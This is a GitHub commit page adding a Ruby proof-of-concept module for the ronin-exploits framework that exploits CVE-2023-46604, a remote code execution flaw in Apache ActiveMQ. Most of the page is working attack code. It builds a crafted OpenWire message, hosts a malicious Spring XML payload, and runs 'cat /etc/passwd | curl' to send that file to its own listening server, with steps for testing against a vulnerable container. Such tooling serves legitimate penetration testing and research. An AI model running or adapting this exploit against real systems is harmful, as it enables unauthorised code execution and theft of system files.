-
-
Notifications
You must be signed in to change notification settings - Fork 2
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
POC exploit for CVE-2023-46604 (#10)
--------- Co-authored-by: Postmodern <[email protected]>
- Loading branch information
1 parent
ee71373
commit 29bcfbd
Showing
2 changed files
with
263 additions
and
6 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,256 @@ | ||
#!/usr/bin/env -S ronin-exploits run -f | ||
|
||
require "ronin/exploits/exploit" | ||
require "ronin/exploits/mixins/remote_tcp" | ||
require "ronin/support/binary/stream" | ||
require "ronin/web/server" | ||
|
||
module Ronin | ||
module Exploits | ||
# | ||
# This exploit is based on an examination the following prior art: | ||
# | ||
# * https://github.com/ST3G4N05/ExploitScript-CVE-2023-46604 | ||
# * https://github.com/Mudoleto/Broker_ApacheMQ | ||
# * https://github.com/dcm2406/CVE-2023-46604 | ||
# * https://github.com/mrpentst/CVE-2023-46604 | ||
# | ||
# The exploit has two steps: | ||
# | ||
# 1. send a crafted OpenWire message to the ActiveMQ server, which will cause the server to connect | ||
# to a URL that may contain a malicious XML payload. | ||
# 2. serve a malicious XML payload that will cause the server to execute arbitrary shell commands. | ||
# | ||
# ## Verification | ||
# | ||
# To verify against a vulnerable docker image: | ||
# | ||
# $ docker run --detach --rm -p 61616:61616 --network=host veita/test-activemq:5.18.2 | ||
# $ ./exploits/activemq/CVE-2023-46604.rb -p host=localhost -p port=61616 | ||
# | ||
# against a not-vulnerable docker image: | ||
# | ||
# $ docker run --detach --rm -p 61616:61616 --network=host veita/test-activemq:5.18.3 | ||
# $ ./exploits/activemq/CVE-2023-46604.rb -p host=localhost -p port=61616 | ||
# | ||
# You can read more about that docker container at https://github.com/veita/cont-test-activemq | ||
# | ||
# ## Implementation details | ||
# | ||
# For details on OpenWire wire format see: | ||
# | ||
# * https://activemq.apache.org/components/classic/documentation/openwire-version-2-specification | ||
# * https://github.com/apache/activemq-openwire | ||
# | ||
class CVE_2023_46604 < Exploit | ||
|
||
include Mixins::RemoteTCP | ||
|
||
register "activemq/CVE-2023-46604" | ||
|
||
quality :poc | ||
release_date "2024-05-03" | ||
disclosure_date "2023-10-27" | ||
advisory "CVE-2023-46604" | ||
|
||
author "Mike Dalessio", email: "[email protected]" | ||
summary "Remote code execution in Apache ActiveMQ <5.15.16, <5.16.7, <5.17.6, <5.18.3" | ||
description <<~DESC | ||
The Java OpenWire protocol marshaller is vulnerable to Remote Code Execution. This | ||
vulnerability may allow a remote attacker with network access to either a Java-based | ||
OpenWire broker or client to run arbitrary shell commands by manipulating serialized class | ||
types in the OpenWire protocol to cause either the client or the broker (respectively) to | ||
instantiate any class on the classpath. Users are recommended to upgrade both brokers and | ||
clients to version 5.15.16, 5.16.7, 5.17.6, or 5.18.3 which fixes this issue. | ||
DESC | ||
references [ | ||
"https://nvd.nist.gov/vuln/detail/CVE-2023-46604", | ||
"https://github.com/ST3G4N05/ExploitScript-CVE-2023-46604", | ||
"https://github.com/ST3G4N05/ExploitScript-CVE-2023-46604/blob/main/shell.py", | ||
"https://github.com/ST3G4N05/ExploitScript-CVE-2023-46604/blob/main/config.xml", | ||
"https://github.com/dcm2406/CVE-2023-46604", | ||
"https://github.com/dcm2406/CVE-2023-46604/blob/master/exploit.py", | ||
"https://github.com/dcm2406/CVE-2023-46604/blob/master/poc.xml", | ||
"https://github.com/mrpentst/CVE-2023-46604", | ||
"https://github.com/mrpentst/CVE-2023-46604/blob/main/exploit.py", | ||
"https://github.com/mrpentst/CVE-2023-46604/blob/main/poc.xml" | ||
] | ||
|
||
# | ||
# Test whether the target system is vulnerable. | ||
# | ||
# @return [Ronin::Exploits::TestResult::Vulnerable, | ||
# Ronin::Exploits::TestResult::NotVulnerable, | ||
# Ronin::Exploits::TestResult::Unknown] | ||
# | ||
def test | ||
wireformat_message = nil | ||
|
||
tcp_connect do |socket| | ||
socket.close_write | ||
wireformat_message = socket.read | ||
end | ||
|
||
unless (version = pluck_provider_version(wireformat_message)) | ||
return Unknown("host is not reporting a provider version") | ||
end | ||
|
||
print_info "Detected provider version: #{version}" | ||
|
||
version = Gem::Version.new(version) | ||
if (version < Gem::Version.new("5.15.16") && version >= Gem::Version.new("5.15.0")) || | ||
(version < Gem::Version.new("5.16.7") && version >= Gem::Version.new("5.16.0")) || | ||
(version < Gem::Version.new("5.17.6") && version >= Gem::Version.new("5.17.0")) || | ||
(version < Gem::Version.new("5.18.3") && version >= Gem::Version.new("5.18.0")) | ||
Vulnerable("host is vulnerable to CVE-2023-46604") | ||
else | ||
NotVulnerable("host is not vulnerable to CVE-2023-46604") | ||
end | ||
end | ||
|
||
default_port 61616 | ||
|
||
param :web_host, default: "localhost", | ||
desc: "A routable hostname for the exploit runner's web server" | ||
|
||
param :web_port, Integer, default: 1024 + rand(65535 - 1024), | ||
desc: "A listen port for the exploit runner's web server" | ||
|
||
JAVA_CLASSNAME = "org.springframework.context.support.ClassPathXmlApplicationContext" | ||
PROVIDER_VERSION = "ProviderVersion" | ||
STRING_TYPE = 9 | ||
|
||
# | ||
# Builds the malicious OpenWire ActiveMQ message and XML payload that will | ||
# be served later. | ||
# | ||
def build | ||
@web_host = params[:web_host] | ||
@web_port = params[:web_port] | ||
web_url = "http://#{@web_host}:#{@web_port}" | ||
|
||
buffer = Ronin::Support::Binary::Buffer.new(1024, endian: :net) | ||
buffer.put_uint8(4, 0x1f) # EXCEPTION_RESPONSE | ||
.put_uint8(14, 0x01) | ||
|
||
cursor = 15 | ||
buffer.put_uint8(cursor, 0x01) | ||
.put_uint16(cursor+1, JAVA_CLASSNAME.length) | ||
.put_string(cursor+3, JAVA_CLASSNAME) | ||
|
||
cursor += 3 + JAVA_CLASSNAME.length | ||
buffer.put_uint8(cursor, 0x01) | ||
.put_uint16(cursor+1, web_url.length) | ||
.put_string(cursor+3, web_url) | ||
|
||
cursor += 3 + web_url.length | ||
buffer.put_uint32(0, cursor-4) | ||
|
||
@payload1 = buffer.to_s[0..cursor-1] | ||
|
||
@payload2 = <<~XML | ||
<?xml version="1.0" encoding="UTF-8"?> | ||
<beans xmlns="http://www.springframework.org/schema/beans" | ||
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" | ||
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> | ||
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> | ||
<constructor-arg > | ||
<list> | ||
<value>bash</value> | ||
<value>-c</value> | ||
<value>cat /etc/passwd | curl --data-binary @- #{web_url}/exfil</value> | ||
</list> | ||
</constructor-arg> | ||
</bean> | ||
</beans> | ||
XML | ||
end | ||
|
||
# | ||
# Sends the malicious ActiveMQ OpenWire message and starts a web server, | ||
# which hosts the XML payload and receives the exfiltrated file. | ||
# | ||
def launch | ||
queue = Thread::Queue.new | ||
exploit = self | ||
injection = @payload2 | ||
|
||
@web_server = Ronin::Web.server do | ||
set :bind, exploit.params[:web_host] | ||
set :port, exploit.params[:web_port] | ||
|
||
get("/") do | ||
exploit.print_info "Received HTTP request" | ||
queue.push(:get) | ||
injection | ||
end | ||
|
||
post("/exfil") do | ||
exploit.print_info "Received RCE exfiltration:" | ||
puts | ||
puts request.body.read | ||
|
||
queue.push(:exfil) | ||
"" | ||
end | ||
|
||
on_start do | ||
queue.push(:start) | ||
end | ||
|
||
on_stop do | ||
queue.push(:stop) | ||
end | ||
end | ||
queue.pop # :start | ||
|
||
print_info "Sending OpenWire payload:" | ||
@payload1.hexdump | ||
|
||
tcp_send(@payload1) | ||
|
||
return if queue.pop == :stop # :get | ||
return if queue.pop == :stop # :get | ||
|
||
queue.pop # :exfil | ||
end | ||
|
||
# | ||
# Shuts down the exploit's web server. | ||
# | ||
def cleanup | ||
@web_server&.stop! | ||
end | ||
|
||
private | ||
|
||
# | ||
# Extracts the provider version from the ActiveMQ OpenWire message. | ||
# | ||
# We're taking the easy way out by not parsing the whole message, just finding the | ||
# `ProviderVersion` property and pulling it out of the message. | ||
# | ||
# @return [String, nil] | ||
# | ||
def pluck_provider_version(message) | ||
print_info "Extracting provider version from OpenWire WIREFORMAT message:" | ||
message.hexdump | ||
|
||
unless (property_index = message.index(PROVIDER_VERSION)) | ||
return | ||
end | ||
|
||
offset = property_index + PROVIDER_VERSION.length | ||
buffer = Support::Binary::Buffer.new(message.byteslice(offset..), endian: :net) | ||
|
||
ptype = buffer.get_byte(0) | ||
fail("unknown primitive type #{ptype}, expected #{STRING_TYPE}") if ptype != STRING_TYPE | ||
|
||
plen = buffer.get_int16(1) | ||
fail("unexpected string len #{plen}") if plen <= 0 | ||
|
||
buffer.get_string(3, plen) | ||
end | ||
end | ||
end | ||
end |